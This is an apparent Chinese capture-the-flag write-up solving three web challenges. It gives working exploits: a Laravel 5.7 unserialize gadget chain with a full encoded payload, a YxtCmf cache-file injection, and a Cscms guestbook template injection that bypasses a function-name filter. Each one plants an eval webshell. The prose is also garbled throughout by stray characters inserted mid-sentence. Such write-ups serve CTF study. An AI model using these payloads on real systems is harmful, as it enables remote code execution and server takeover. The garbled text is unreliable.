這次真的是神仙打架竞慢,web狗無(wú)處茍活,AWD只有PWN題治泥,所以Web狗只能奮力懟RW的3個(gè)web筹煮,這里不得不膜一下大師傅們,審得太快了居夹,第二天排隊(duì)排太久败潦,啥血也沒搶到,簡(jiǎn)單寫下3個(gè)web的解題思路......這里放下源碼准脂,方便復(fù)現(xiàn)(https://pan.baidu.com/s/1WngiF9tTCMZq7SKqDaOa6g 提取碼: kj7b)
0x01 laravel
這個(gè)下發(fā)的版本是5.7劫扒,并且之前有人發(fā)表過對(duì)該版本的漏洞的分析文章,所以這題差不多算是一個(gè)web簽到題意狠,這里貼一下鏈接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
在寫這個(gè)分析文章的時(shí)候粟关,大師傅可能避嫌把這個(gè)頁(yè)面關(guān)了,也就是在程序流處理過程中环戈,我們可以控制序列化的內(nèi)容闷板,所以只要構(gòu)造一個(gè)反序列化點(diǎn)就可以觸發(fā)該反序列RCE漏洞,剛好這個(gè)題目的設(shè)定就是給了反序列化點(diǎn)的院塞。
/public/index.php:
namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
public function index()
{
if(isset($_GET['code']))
{
$code = $_GET['code'];
unserialize($code);
return "Welcome to qiangwangbei!";
}
}
}
?>
這里給了一個(gè)反序列化利用點(diǎn)所以我們只要把序列化的內(nèi)容賦給code參數(shù)就可以了遮晚,直接貼Exp代碼(反正也不是我寫的,因?yàn)橘愔埔竽玫絪hell,而且只有index.php可寫拦止,這個(gè)地方坑了我的第一次機(jī)會(huì)县遣,吐槽一下)
get.php:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>
rce.php:
<?php
include("get.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('echo "<?php eval(\$_REQUEST[Cyc1e]);?>" > index.php'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>
GET方式把payload打過去就好了
URL:/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A50%3A%22echo+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5Bpass%5D%29%3B%3F%3E%22+%3E+index.php%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
0x02 YxtCmf
第一天的下午一直在審這個(gè)cmf框架的源碼糜颠,是基于ThinkPhp框架進(jìn)行二次開發(fā)的,thinphp的緩存機(jī)制算是比較有意思的萧求,主要思路是通過控制緩存文件來(lái)拿shell其兴,查看thinkcmf的一個(gè)文檔
設(shè)置了動(dòng)態(tài)更新系統(tǒng)配置的函數(shù),查看一下sp_set_dynamic_config函數(shù)的內(nèi)容
function sp_set_dynamic_config($data){
if(!is_array($data)){
return false;
}
if(sp_is_sae()){
$kv = new SaeKV();
$ret = $kv->init();
$configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
}elseif(defined('IS_BAE') && IS_BAE){
$bae_mc=new BaeMemcache();
$configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
$configs=empty($configs)?array():unserialize($configs);
$configs=array_merge($configs,$data);
$result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
}else{
$config_file="./data/conf/config.php";
if(file_exists($config_file)){
$configs=include $config_file;
}else {
$configs=array();
}
$configs=array_merge($configs,$data);
$result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
}
sp_clear_cache();
S("sp_dynamic_config",$configs);
return $result;
}
把$config和字符串“THINKCMF_DYNAMIC_CONFIG”夸政,傳入了set函數(shù)元旬,set函數(shù)是一個(gè)寫入緩存文件的函數(shù),也就是把sp_set_dynamic_config傳入的固定字符串處理后當(dāng)作文件名生成守问,傳入的$config的數(shù)據(jù)為緩存文件的內(nèi)容匀归,也就是說控制了緩存內(nèi)容在拿到緩存文件名就可以控制緩存文件了,所以接下來(lái)就是找哪一個(gè)sp_set_dynamic_config函數(shù)我們可以用耗帕,因?yàn)轭}目環(huán)境設(shè)定是把a(bǔ)dmin穆端、install等目錄給去了,也就限制了利用訪問仿便,本菜習(xí)慣用notepad++,所以全局搜索sp_set_dynamic_config的調(diào)用情況体啰,再排除一下,最終確定了\application\Api\Controller\OauthController.class.php中的sp_set_dynamic_config可以任意控制
function injectionAuthocode(){
$postdata=I('post.');
$configs["authoCode"]=$postdata['authoCode'];
sp_set_dynamic_config($configs);
}
緩存文件里的內(nèi)容是注釋后的序列化值嗽仪,所以構(gòu)造一下post值換行再注釋后面的語(yǔ)句就可以寫入任意代碼了
POST:authoCode=Cyc1e%0aeval($_REQUEST[pass]);//
接下來(lái)就是緩存文件名的問題了(畢竟緩存文件名是個(gè)md5值狡赐,爆破是不可能的),分析set函數(shù)即可钦幔,發(fā)現(xiàn)就是兩個(gè)固定的字符串拼接處理枕屉,所以這就是一個(gè)固定的值了,緩存的文件名固定為ed182ead0631e95e68e008bc1d3af012.php鲤氢,本地生成了直接上臺(tái)打就行了搀擂,第一天下午就分析到這,卡在了路由觸發(fā)規(guī)則上卷玉,大寫的尷尬哨颂,到酒店繼續(xù)看了下,是自己傻了相种,路由規(guī)則看錯(cuò)了威恼,所以最后的payload
URL:/index.php/api/oauth/injectionAuthocode
POST:authoCode=Cyc1e%0aeval($_REQUEST[Cyc1e]);//
PATH:/data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php
直接觸發(fā)就好了
0x03 Cscms
這題晚上才開始審,查了下最近報(bào)出的洞寝并,發(fā)現(xiàn)這個(gè)cms好像是涼了的箫措,最近的也就是17年的了,有一個(gè)SSTI的補(bǔ)丁衬潦,而且怎么找到找不到這個(gè)補(bǔ)丁的代碼斤蔓,就順著這個(gè)思路去了,既然不讓我找到镀岛,那估計(jì)就有問題的嘛弦牡,2333友驮,這題給的題目信息一樣是刪除了admin、install目錄驾锰,所以一樣是前臺(tái)的洞了卸留,既然是SSTI,那肯定是有一個(gè)代碼執(zhí)行點(diǎn)的椭豫,全局搜索eval函數(shù)艾猜,最終定位到
\cscms\app\models\Csskins.php
// php標(biāo)簽處理
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
只要控制了$content,就可以執(zhí)行任意代碼捻悯,進(jìn)行函數(shù)的回溯,這個(gè)最難受了淤毛,就一個(gè)template_parse函數(shù)調(diào)用了cscms_php今缚,定位php處理代碼
//PHP代碼解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);
也就是說正則匹配{cscmsphp}([\s\S]+?){/cscmsphp},把匹配到的數(shù)據(jù)傳給cscms_php低淡,再利用eval直接執(zhí)行姓言,分析到這邏輯就很清晰了,就是要找一個(gè)前臺(tái)的調(diào)用了template_parse函數(shù)的地方蔗蹋,控制輸入的內(nèi)容何荚,就可以實(shí)現(xiàn)任意代碼執(zhí)行,全局搜索調(diào)用情況猪杭,定位一個(gè)好調(diào)用的地方:\plugins\sys\home\Gbook.php(意見留言板餐塘,不用任何權(quán)限直接觸發(fā)),其中的ajax函數(shù)對(duì)其進(jìn)行了調(diào)用
$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);
也就是獲取到留言板輸入的內(nèi)容皂吮,傳入到template_parse函數(shù)中戒傻,所以我們構(gòu)造留言數(shù)據(jù)的時(shí)候,加上{cscmsphp}{/cscmsphp}便簽就會(huì)傳到eval函數(shù)中蜂筹,測(cè)試了下eval($_REQUEST[Cyc1e]);需纳,然后失敗了,盡然還有轉(zhuǎn)義艺挪,也是很有意思不翩,找到處理代碼。
$str = preg_replace('#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si','\\1\\2(\\3)',$str);
就過濾了這幾個(gè)麻裳,所以構(gòu)造下payload:
URL:index.php/gbook
留言數(shù)據(jù):{cscmsphp}assert($_REQUEST[Cyc1e]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?Cyc1e=phpinfo();
0x04 小結(jié)
總的來(lái)說口蝠,神仙打架,Web狗沒前途津坑,神仙們都不在意Web的那一丟丟分